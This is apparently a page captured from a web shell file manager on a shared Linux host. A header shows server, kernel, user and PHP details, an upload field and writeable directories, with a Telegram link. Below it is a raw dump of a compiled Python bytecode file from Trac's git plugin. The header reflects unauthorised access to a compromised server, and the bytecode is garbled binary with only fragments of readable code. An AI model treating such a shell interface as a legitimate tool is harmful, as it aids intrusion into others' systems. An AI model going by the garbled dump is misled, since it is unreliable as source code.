https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/tracopt/versioncontrol/git/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/tracopt/versioncontrol/git/__pycache__/git_fs.cpython-310.pyc
o

�k�`���@s�ddlmZddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZddl
mZmZmZddlmZmZmZddlmZmZdd	lmZmZmZdd
lmZddlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'ddl(m)Z)m*Z*m+Z+dd
l,m-Z-ddl.m/Z/ddl0m1Z1ddl2m3Z3Gdd�de*�Z4Gdd�de+�Z5dd�Z6dd�Z7dd�Z8dZ9dd�Z:dd�Z;Gd d!�d!e�Z<Gd"d#�d#e�Z=Gd$d%�d%e!�Z>Gd&d'�d'e �Z?Gd(d)�d)e�Z@Gd*d+�d+e�ZAdS),�)�datetimeN)�ISystemInfoProvider)�cached)�
BoolOption�	IntOption�
ListOption�
PathOption�Option)�	Component�	TracError�
implements)�FixedOffset�to_timestamp�format_datetime)�Markup�tag)�exception_to_unicode�shorten_line�
to_unicode��_)	�	Changeset�Node�
Repository�IRepositoryConnector�InvalidRepository�NoSuchChangeset�
NoSuchNode�RepositoryManager�IRepositoryProvider)�CACHE_YOUNGEST_REV�CachedRepository�CachedChangeset)�IPropertyRenderer)�Chrome)�IWikiSyntaxProvider)�PyGITc@sReZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�ZdS)�GitCachedRepositoryzGit-specific cached repository.cC�
|�|�S�N��	short_rev��self�rev�r/�C/usr/lib/python3/dist-packages/tracopt/versioncontrol/git/git_fs.py�display_rev+�
zGitCachedRepository.display_revcC�|j�|�Sr))�reposr+�r-�pathr/r/r0r+.�zGitCachedRepository.short_revcCs.|s|��S|jj�|�}|durt|��|Sr))�get_youngest_revr4�git�	verifyrevr�r-r.�normrevr/r/r0�
normalize_rev1sz!GitCachedRepository.normalize_revcCst�|�pdSr))r!r8�r-r/r/r0r89sz$GitCachedRepository.get_youngest_revcCr3r))r4�
child_revsr,r/r/r0r?=r7zGitCachedRepository.child_revsc#s��tjt��||�dd�d�D]6\}}t|�}t|�dkr#|dVqdd�|D���rE��fdd	��D�}t|�D]}��|�Vq:�s,qdS)
NcSs|jSr))�date)�csetr/r/r0�<lambda>Csz4GitCachedRepository.get_changesets.<locals>.<lambda>)�key�rcSsi|]}|j|�qSr/)r.)�.0rAr/r/r0�
<dictcomp>H�z6GitCachedRepository.get_changesets.<locals>.<dictcomp>cs.g|]}t�fdd��j�|�D��s|�qS)c3s�|]}|�vVqdSr)r/)rE�r)�	rev_csetsr/r0�	<genexpr>Ks��z@GitCachedRepository.get_changesets.<locals>.<listcomp>.<genexpr>)�anyr4r?�rEr.�rIr-r/r0�
<listcomp>Js

�
�z6GitCachedRepository.get_changesets.<locals>.<listcomp>)�	itertools�groupbyr!�get_changesets�list�len�sorted�pop)r-�start�stoprC�csets�revsr.r/rMr0rQ@s"��
���z"GitCachedRepository.get_changesetscCst||�|�|j�Sr))�GitCachedChangesetr=�envr,r/r/r0�
get_changesetP�z!GitCachedRepository.get_changesetNFc		s|r����j}��|�|�td�}�j��fdd����fdd�}���fdd������fdd	�}�jj�>	���|�rF|�rFq:�j	pJd}||krn�jj
�}|d|�jtf��`Wd�n1siwY	Wd�dS1szwYdS)N�cs*�j�d�j|f�D]\}|dkSdS)Nza
                    SELECT COUNT(*) FROM revision WHERE repos=%s AND rev=%s
                    rF)r[�db_query�id)r.�countr>r/r0�	is_synced\s

�z+GitCachedRepository.sync.<locals>.is_syncedc	s�d}ttdd��j��D���}|d}tdt|�|�D]5}||||�}d�dt|��}�jg}|�|�d|}�j	�
||�D]
\}|t|�krPd	SqCqd
S)Ni�css�|]\}}|VqdSr)r/)rE�refnamer.r/r/r0rJes�z?GitCachedRepository.sync.<locals>.needs_sync.<locals>.<genexpr>rDr�,)z%szXSELECT COUNT(*) FROM revision
                           WHERE repos=%%s AND rev IN (%s)TF)rT�setr9�get_refs�rangerS�joinr`�extendr[r_)	�max_holdersrY�step�idx�revs_�holders�args�queryra)r4r-r/r0�
needs_synccs"
���z,GitCachedRepository.sync.<locals>.needs_synccs�g}g}	||vr
n/|�|��|�rn%|�|���|�}|s!n|d}t|�dkr8|�t|�|dd�f�qt|�D]\}}|D]}�||�|||�<qCq=|S)NTrrD)�add�append�parent_revsrS�reversed)r.�seenrY�
merge_revsrtrl)rbr4�traverser/r0rxss*


�
�z*GitCachedRepository.sync.<locals>.traversecs�d}t�}�j��D]O}��|�rq
�||�}|rY|��}�j�d|���|�}z
��||�d}Wn�j	j
jyP}z�j�d||�WYd}~qd}~ww�rW�|�|sq
|S)NFzTrying to sync revision [%s]TzRevision %s already cached: %r)rer9�all_revsr?rU�log�infor\�insert_changesetr[�db_exc�IntegrityError)�updatedrvr.rYrA�e)�feedbackr4r-rxr/r0�	sync_revs�s.


����z+GitCachedRepository.sync.<locals>.sync_revsTz�
                            UPDATE repository SET value=%s
                            WHERE id=%s AND name=%s
                            )�remove_cache�metadata�
save_metadata�getr r4r[r_�sync�youngest_rev�db_transactionr`)	r-r��cleanr��
meta_youngestrqr��repos_youngest�dbr/)r�rbr4r-rxr0r�Ss2




��$�zGitCachedRepository.sync)NF)�__name__�
__module__�__qualname__�__doc__r1r+r=r8r?rQr\r�r/r/r/r0r'(sr'c@s eZdZdZdd�Zdd�ZdS)rZzGit-specific cached changeset.cs(|j��fdd�|jjjj�dd�D�S)Nc�g|]
\}}||�kf�qSr/r/�rE�k�v��_revr/r0rN�sz3GitCachedChangeset.get_branches.<locals>.<listcomp>T��resolve�r.r4r9�get_branch_containsr>r/r�r0�get_branches�s
�zGitCachedChangeset.get_branchescCs|jjj�|j�Sr)�r4r9�get_tagsr.r>r/r/r0r���zGitCachedChangeset.get_tagsN)r�r�r�r�r�r�r/r/r/r0rZ�srZccsR�t|�}zt|�}Wn
tyYdSw|D]	}d|fV|}qd|fVdS)z/helper for detecting last iteration in for-loopNFT)�iter�next�
StopIteration)�iterable�ir��nextvr/r/r0�_last_iterable�s��
r�ccs(�t|�D]\}}|r|V|VqdS)z�The 'intersperse' generator takes an element and an iterable and
    intersperses that element between the elements of the iterable.

    inspired by Haskell's ``Data.List.intersperse``
    N)�	enumerate)�sepr�r��itemr/r/r0�intersperse�s
�
�r�cCs@|�dd�\}}}tt|�dd|�}t�t|�|�}||fS)zgParse author or committer attribute lines and return
    corresponding ``(user, timestamp)`` pair.
    N���
)�rsplitr
�intr�
fromtimestamp�float)�s�user�time�tz_str�tzr/r/r0�_parse_user_time�sr�i�cCs|durdS|t@dvS)NF)i@����_file_type_mask��moder/r/r0�_is_dir��r�cCs|durdS|t@dkS)NFr�r�r�r/r/r0�
_is_submodule�r�r�c@s�eZdZeeee�dd�Zdd�Zdd�Z	dd�Z
d	d
�Zeddd
d�Z
eddd
d�Zedddd�Zedddd�Zeddd
d�Zedddd�Zedddd�Zedddd �Zedd!dd"�Zd#d$�Zd%d&�Zd'S)(�GitConnectorc
Cs�d|_ztjj|jd�|_Wntjy(}z
|j�d|�WYd}~nd}~ww|jrK|j�d|jd�|jdsM|j�d|jd|jd�dSdSdS)N)�git_binzGitError: %szdetected GIT version %s�v_str�v_compatiblez3GIT version %s installed not compatible(need >= %s)�	v_min_str)	�_versionr&�Storage�git_versionr��GitErrorrz�errorr{)r-r�r/r/r0�__init__�s ��
��zGitConnector.__init__ccs �|jrd|jdfVdSdS)N�GITr�)r�r>r/r/r0�get_system_infos��zGitConnector.get_system_infoc	
Cs�d}|j}|r|jjdvr|jjj}n|j}|sz-t|j��|�}|s)td|��|�	|�}|�
|�}tj|dt
|j�|j�||j�d�WStyb}ztj|dt|�dd�WYd}~Sd}~ww)	Nr^)�source�	changesetzRepository '%s' not foundr���class_�title�href�missing changeset�nofollow�r�r��rel)�context�resource�realm�parentr`rr[�get_repository�	Exceptionr=r\r�ar�messager�r��reponamer)	r-�	formatter�sha�labelr�r�r4r�r�r/r/r0�_format_sha_link
s0
�

����zGitConnector._format_sha_linkc#s�d�j�fdd�fVdS)Nz(?:\b|!)r?[0-9a-fA-F]{%d,40}\bcs$��||�d�r|dd�p||�S)NrHrD)r��
startswith)�fmtr��matchr>r/r0rB's

��z.GitConnector.get_wiki_syntax.<locals>.<lambda>)�wiki_shortrev_lenr>r/r>r0�get_wiki_syntax%s�

�zGitConnector.get_wiki_syntaxc#s�dd�fdd�	fVdS)Nr�cs��|||�Sr))r�)r�rr�r�r�r>r/r0rB,sz1GitConnector.get_link_resolvers.<locals>.<lambda>r)r/r>r/r>r0�get_link_resolvers+s�zGitConnector.get_link_resolversr9�persistent_cache�falsez)Enable persistent caching of commit tree.�cached_repositoryz+Wrap `GitRepository` in `CachedRepository`.�shortrev_len�zTThe length at which a sha1 is abbreviated (must be >= 4
        and <= 40).
        �wikishortrev_len�(z�The minimum length at which a hex-string in wiki content
        is formatted as a changeset TracLink (must be >= 4 and <= 40).
        �trac_user_rlookupaEnable reverse mapping of git email addresses to trac user ids.
        Performance will be reduced if there are many users and the
        `cached_repository` option is `disabled`.

        A repository resync is required after changing the value of this
        option.
        �use_committer_id�truezbUse git-committer id instead of git-author id for the
        changeset ''Author'' field.
        �use_committer_timezsUse git-committer timestamp instead of git-author timestamp
        for the changeset ''Timestamp'' field.
        �git_fs_encoding�utf-8z9Define charset encoding of paths within git repositories.r�zPath to the git executable.ccs�dVdS)N)r9�r/r>r/r/r0�get_supported_types[s�
z GitConnector.get_supported_typesc
s|dksJ�d�jkrdksnttddd���d�jkr%dks.nttddd����js7ttd����jd	sKttd
�jd�jdd
����jrU�fdd�}ndd�}t�j||�j�j	�j
�j�j|�j�j
d�}�jr�t�j|�j�}�j�d|�|S�j�d|�|S)zGitRepository factory methodr9�r�z'%(option)s must be in the range [4..40]z[git] shortrev_len)�optionz[git] wikishortrev_lenzGIT backend not availabler�zFGIT version %(hasver)s installed not compatible (need >= %(needsver)s)r�r�)�hasver�needsverc	s�z|�dd�\}}|�dd�\}}|��}Wn
ty YdSw�j��D]\}}}z
||��kr7|WSWq&tyAYq&wdS)z�Reverse map 'real name <user@domain.tld>' addresses to trac
                user ids.

                :return: `None` if lookup failed
                �<rD�>N)r��split�lowerr�r[�get_known_users)�emailr�_uid�_name�_emailr>r/r0�rlookup_uidss �
���z0GitConnector.get_repository.<locals>.rlookup_uidcS�dSr)r/rr/r/r0r�s)r�r�r�r�rr�r�z!enabled CachedRepository for '%s'z"disabled CachedRepository for '%s')r�rrr�r�r��
GitRepositoryr[rzr�r�r�r�r�r�r'�debug)r-�type�dir�paramsrr4r/r>r0r�^sD��
��
�zGitConnector.get_repositoryN)r�r�r�rrrr%r�r�r�r�r�rr�r�rr�r�r�r�r�r	r�r�r�r�r/r/r/r0r��sH�����	����r�c@s$eZdZee�dd�Zdd�ZdS)�CsetPropertyRenderercCs|dvr
|dkr
dpdS)N)�Parents�Children�Branches�
git-committer�
git-author�revpropr�rr/)r-�namer�r/r/r0�match_property�s���z#CsetPropertyRenderer.match_propertyc	s4d��fdd�	�|dkr||}ttd�fdd�|D���S|dvrr||}|dkrht|�d	krh�jj��jjj�td����fd
d�|D��}tt|�t��tjt	t
d��dd
�t��tjt	t
d��dd
��Sttdt�|���S|dvr�||\}}	dt�j
���j|�t|	�jjd�f}
t|
�Stt
d���)Nc
s�z.�jjj}t�j��|�}|�|�}|dur|�|�}tj	|dt
|j��j�
||j�d�WStyK}ztj	|dt|�dd�WYd}~Sd}~ww)Nr�r�r�r�r�)r�r�r`rr[r�r\r1rr�rr�r�r�r�r�r)r�r�r�r4rAr�)r�r-r/r0�sha_link�s 


����z6CsetPropertyRenderer.render_property.<locals>.sha_linkrz, c3s�|]
\}}�||�VqdSr)r/)rEr�r.)rr/r0rJ�s��z7CsetPropertyRenderer.render_property.<locals>.<genexpr>)rrrrDc3sB�|]}�|�dtjtd�td��jj��|d�d�dfVqdS)z (�diffzIDiff against this parent (show the changes merged from the other parents))�old)r�r��)N)rr�rr�r�rL)r��current_shar�rr/r0rJ�s��

���zmNote: this is a <strong>merge</strong> changeset, the changes displayed below correspond to the merge itself.�hint)r�zWUse the <code>(diff)</code> links above to see all the changes relative to each parent.)rrz%s (%s))�tzinfo�Internal errorr))rr�rSr�r`r�rR�br�spanrr�mapr$r[�
format_author�reqrr��strr)r-rr�r��props�branchesrY�parent_links�user_�time_�_strr/)r�rr�r-rr0�render_property�sF
�
������z$CsetPropertyRenderer.render_propertyN)r�r�r�rr#rr*r/r/r/r0r
�s	r
c@seZdZdZdddddd�ddfdd	�Zd
d�Zedd
��Zed�dd��Z	dd�Z
d@dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdAd d!�Zd@d"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Z	.dBd/d0�ZdCd2d3�ZdCd4d5�Zd6d7�Zd8d9�Zd:d;�ZdAd<d=�Zd@d>d?�ZdS)DrzGit repositoryFr9r�r�cCrr)r/rr/r/r0rB�szGitRepository.<lambda>c
Cs�||_||_||_||_||_tdt|d��|_|	|_||_	|
|_
ztj|||||d�}|�
�|_Wn!tjyT}
z|�t|
��ttd|�d�pLdd���d}
~
wwt�|d||j|�t|j�|_dS)	Nr�r�)r�r�z3"%(name)s" is not readable or not a Git repository.rz	(default))rzgit:)r[�logger�gitreporr��max�minr�rr�r�r&�StorageFactory�getInstance�_gitr�r�rrrr�rr�r#r`�_cached_git_id)r-r[r6rrzr�r�r�r�rr�r��factoryr�r/r/r0r��s4
�����zGitRepository.__init__cCs
d|_dSr))r1r>r/r/r0�closer2zGitRepository.closecCs|jr|jS|jSr))r��_cached_gitr1r>r/r/r0r9szGitRepository.gitr2cCs|j��|jSr))r1�invalidate_rev_cacher>r/r/r0r5%s
zGitRepository._cached_gitcC�
|j��Sr))r9r�r>r/r/r0r8*r2zGitRepository.get_youngest_revNcCsttd���)Nz(Unsupported "Show only adds and deletes")rr)r-r6r.�limitr/r/r0�get_path_history-r7zGitRepository.get_path_historycCr7r))r9�
oldest_revr>r/r/r0�get_oldest_rev0r2zGitRepository.get_oldest_revcCs|r|�d�pdS)N�/)�stripr5r/r/r0�normalize_path3r�zGitRepository.normalize_pathcCs,|s|��S|j�|�}|durt|��|Sr))r8r9r:rr;r/r/r0r=6szGitRepository.normalize_revcCr(r)r*r,r/r/r0r1>r2zGitRepository.display_revcCs|jj|�|�|jd�S)N)�min_len)r9�shortrevr=r�r,r/r/r0r+As�zGitRepository.short_revcCs|�||�Sr))�	_get_node�r-r6r.r/r/r0�get_nodeEr7zGitRepository.get_nodecCst||||j||�Sr))�GitNoderz)r-r6r.�ls_tree_info�	historianr/r/r0rAHr]zGitRepository._get_nodeccsF�|j��D]\}}d|d|fVq|j��D]	}d|d|fVqdS)Nr%r<�tags)r9r�r�)r-r.�bname�bsha�tr/r/r0�get_quickjump_entriesKs��z#GitRepository.get_quickjump_entriescCs|j�d�S)N�url)rr�rBr/r/r0�get_path_urlQr7zGitRepository.get_path_urlccs.�|j�t|�t|��D]}|�|�VqdSr))r9�history_timerangerr\)r-rVrWr.r/r/r0rQTs���zGitRepository.get_changesetscCs
t||�S)zGitChangeset factory method)�GitChangesetr,r/r/r0r\Ys
zGitRepository.get_changesetcCr(r))r=r,r/r/r0�get_changeset_uid]r2zGitRepository.get_changeset_uidrc#s����|�}��|�}||krttd�����|�}��|�}||kr%dS��fdd�}|�d��||�}||�}�j�|���|}	�j�|���\}
�j�||��D]K}|\}}
}}}}}t|
�sdt|�rgt	j
nt	j}tj
|}|tjkr���|||�|d�|	�nd}|tjkr���|||�|d�|
�nd}||||fVqQWd�n1s�wYWd�dSWd�dS1s�wYdS)NzNot supported in git_fscs �jj|�dd�}dd�|D�S)NT)�	recursivecSsi|]}|d|�qS)r�r/)rE�resultr/r/r0rFosz?GitRepository.get_changes.<locals>.get_tree.<locals>.<dictcomp>)r9�ls_tree)r.�results�r-�target_pathr/r0�get_treemsz+GitRepository.get_changes.<locals>.get_treer<F)r>rrr=r=r9�
get_historian�	diff_treer�r�	DIRECTORY�FILErO�
action_mapr�ADDrAr��DELETE)r-�old_path�old_rev�new_path�new_rev�ignore_ancestryrW�old_tree�new_tree�
old_historian�
new_historian�chg�mode1�mode2�obj1�obj2�actionr6�path2�kind�change�old_node�new_noder/rUr0�get_changes`sX�




���

�
��
�
�����"�zGitRepository.get_changesr^cCr3r))r9�hist_next_revision�r-r.r6r/r/r0�next_rev�r7zGitRepository.next_revcCr3r))r9�hist_prev_revisionrur/r/r0�previous_rev�r7zGitRepository.previous_revcCr3r))r9�parentsr,r/r/r0rt�r7zGitRepository.parent_revscCr3r))r9�childrenr,r/r/r0r?�r7zGitRepository.child_revscCs|j�|�|�|�|��Sr))r9�rev_is_anchestor_ofr=)r-�rev1�rev2r/r/r0�rev_older_than�s�zGitRepository.rev_older_thancCs|��dSr))r�)r-r�r/r/r0�clear�r7zGitRepository.clearcCsZ|r	t|j���}|jr|`|j��sdS|r)t|j���|}|D]}||�q"dSdSr))rer9ryr�r5r�)r-�rev_callbackr�rYr.r/r/r0r��s

�zGitRepository.sync�NNr))r)r^) r�r�r�r�r�r4�propertyr9rr5r8r9r;r>r=r1r+rCrArKrMrQr\rPrsrvrxrtr?r~rr�r/r/r/r0r�sL
�"





�
)


rc@sdeZdZ		ddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
ddd�Zdd�ZdS)rDNcCs2||_||_d|_d|_d|_d|_|r|�t|��}n|j}|}t	j
}|�d�}	|	r�|s2t||��|durC|j
�||	�}|rC|d}|sJt||��|\|_|_|_|_}
|j
�||	|�}|jdkrft	j
}n"|jdkrot	j}nt|j�rxt	j
}n|j�d|�ttd|jd���||_||_t	�|||||�dS)Nr<r�tree�blobzGot unexpected object %rz6Internal error (got unexpected object kind '%(kind)s'))ro)rzr4�fs_sha�fs_perm�fs_type�fs_sizer=rr�rrZr=rr9rS�last_changer[r��warningrr�created_path�created_revr�)r-r4r6r.rzrErFr�ro�p�fnamer/r/r0r��sJ


�


�zGitNode.__init__cCs<|j�d�}|jr|s
J�|S|jr|o|dSttd���)z return path as expected by PyGITr<r)r6r=�isfile�isdirrr)r-r�r/r/r0�
__git_path�szGitNode.__git_pathcCs|jsdS|jj�|j�Sr))r�r4r9�get_filer�r>r/r/r0�get_content�szGitNode.get_contentcCs4|jduriSdd|ji}t|j�r|j|d<|S)Nr�z%06o�commit)r�r�r�)r-r$r/r/r0�get_properties�s


zGitNode.get_propertiescCs*|jsdSdd�|jj�|j|���D�S)NcSsg|]\}}|�qSr/r/)rEr.�linenor/r/r0rNrGz+GitNode.get_annotations.<locals>.<listcomp>)r�r4r9�blamer.�_GitNode__git_pathr>r/r/r0�get_annotations�s
�zGitNode.get_annotationsc	cs��|jsdS|jsdSt|j�rdS|jj�|j|j�d���&}|jj�	|j|�
��D]}t|j|d|j|j||�Vq+Wd�dS1sHwYdS)Nr<���)
r.r�r�r�r4r9rXr6r=rSr�rDrz)r-rF�entr/r/r0�get_entriess"�

���"�zGitNode.get_entriescCs|jrdSdS)Nr^)r�r>r/r/r0�get_content_typeszGitNode.get_content_typecCs,|jsdS|jdur|jj�|j�|_|jSr))r�r�r4r9�get_obj_sizer�r>r/r/r0�get_content_lengths

zGitNode.get_content_lengthccsP�|jsdSt|jj�|j|��|��D]\}}|j||s tjntj	fVqdSr))
r.r�r4r9�historyr�r6r�EDITr])r-r8�is_lastr.r/r/r0�get_history s����zGitNode.get_historycCsV|jsdSz|jj�|j�\}}t|dd�\}}W|S|j�d|j�YdS)N�	committerrz9internal error (could not get timestamp from commit '%s'))r�r4r9�read_commitr.r�rzr�)r-�msgr$r��tsr/r/r0�get_last_modified)s��zGitNode.get_last_modifiedr�r))
r�r�r�r�r�r�r�r�r�r�r�r�r�r/r/r/r0rD�s
�1
		rDc@s^eZdZdZejejejejejej	d�Z
dd�Zdd�Zdd�Z
d	d
�Zdd�Zd
d�ZdS)rOzRA Git changeset in the Git repository.

    Corresponds to a Git commit blob.
    )�A�M�T�D�R�CcCs|durt|��z
|j�|�\}}Wntjyt|��w||_d|vs(J�t|j�|��}|r6||d<|��\}}d}}	}
}|rLt	|�\}}
|rTt	|�\}	}|j
r\|
pZ|}n|p_|
}|jrh|pf|	}
n|	pk|}
|�|
�pr|
}
t
j|||||
|d�dS)Nrz)r.r��authorr@)rr9r�r&�GitErrorShar$rRrz�_get_committer_and_authorr�r�r�rrr�)r-r4r�r�r$�	_childrenr�r��c_user�a_user�c_time�a_timer�r�r/r/r0r�Gs8�


�zGitChangeset.__init__cCs@d}}d|jvr|jdd}d|jvr|jdd}||fS)Nr�rr�)r$)r-r�r�r/r/r0r�os

z&GitChangeset._get_committer_and_authorcCs�i}d|jvr|jd|d<d|jvr|jd|d<|��\}}||kr0t|�|d<t|�|d<t|jjj|jdd��}|rB||d	<|S)
Nr�rrzrrrTr�r)r$r�r�rRr4r9r�r.)r-�
propertiesr�r�r%r/r/r0r�ws

�zGitChangeset.get_propertiesccs��|j�d�}|r
|dnd}|jj�||j�}|D]6\}}}}}}}	|	p&|}
||}}t|�s4t|�r7tjntj	}
t
j|}|tj
krHd}}|
|
|||fVqdS)Nr�r)r$r�r4r9rsr.r�rrZr[rOr\rr])r-r��changesrirjrkrlrm�path1rnr6�p_path�p_revror/r/r0rs�s$�
���

�zGitChangeset.get_changescs&|j��fdd�|jjj�dd�D�S)Ncr�r/r/r�r�r/r0rN�s�z-GitChangeset.get_branches.<locals>.<listcomp>Tr�r�r>r/r�r0r��s

��zGitChangeset.get_branchescCs|jj�|j�Sr)r�r>r/r/r0r��szGitChangeset.get_tagsN)r�r�r�r�rr]r�r^�MOVE�COPYr\r�r�r�rsr�r�r/r/r/r0rO8s�	(rOc@sVeZdZee�edddd�Zedddd�Zedddd�Z	e
dd	d
dd�Zdd
�ZdS)� GitwebProjectsRepositoryProviderzgitweb-repositories�
projects_listz(Path to a gitweb-formatted projects.list)�doc�
projects_basez%Path to the base of your git projects�projects_urlzKTemplate for project URLs. `%s` will be replaced with the repo
        name�sync_per_requestr^z@Repositories to sync on every request
        (not recommended).c	
cs(�|jsdStj�|j�s|j�d|j�dSt|jddd��k}|D]_}|����}|r�|d}|�	d�}tj�
|j|�||jvdd	�}tj�
|d
d�}tj�|�rrt|ddd��}|�
���|d<Wd�n1smwY|jr||j||d<||fVq"Wd�dS1s�wYdS)
z:Retrieve repositories specified in a `projects_list` file.Nz2The [git] projects_list file was not found at '%s'rHr�)�encodingrz.gitr9)rr�r
r�descriptionrL)r��osr6�existsrzr��openr=r��rstriprhr�r��readr�)	r-�fp�line�entriesrr�r{�description_path�fdr/r/r0�get_repositories�sB��
����
��"�z1GitwebProjectsRepositoryProvider.get_repositoriesN)
r�r�r�rrrr�r�r	r�rr�r�r/r/r/r0r��s����r�)BrrOr��trac.apir�
trac.cacher�trac.configrrrrr	�	trac.corer
rr�trac.util.datefmtr
rr�trac.util.htmlrr�trac.util.textrrr�trac.util.translationr�trac.versioncontrol.apirrrrrrrrr�trac.versioncontrol.cacher r!r"�trac.versioncontrol.web_uir#�trac.web.chromer$�	trac.wikir%�tracopt.versioncontrol.gitr&r'rZr�r�r�r�r�r�r�r
rrDrOr�r/r/r/r0�<module>sF,	
1W<t

https://t.me/RX1948 - 2025